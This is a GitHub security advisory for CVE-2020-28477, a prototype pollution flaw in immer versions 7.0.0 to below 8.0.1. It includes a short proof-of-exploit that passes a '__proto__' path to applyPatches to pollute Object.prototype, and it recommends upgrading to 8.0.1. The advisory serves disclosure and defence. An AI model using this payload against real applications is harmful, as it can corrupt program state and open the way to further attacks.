~ / search / GHSA-9qmh-276g-x5pj

GHSA-9qmh-276g-x5pj

Prototype Pollution in immer

Source: GitHub Advisory Database (reviewed) High CVE-2020-28477

Packages

EcosystemPackageAffectedFixed in
npm immer >= 7.0.0, < 8.0.1 8.0.1

Details

As written in the advisory (Markdown source, shown as plain text).

## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.

References

External links from the advisory. They lead to third-party sites.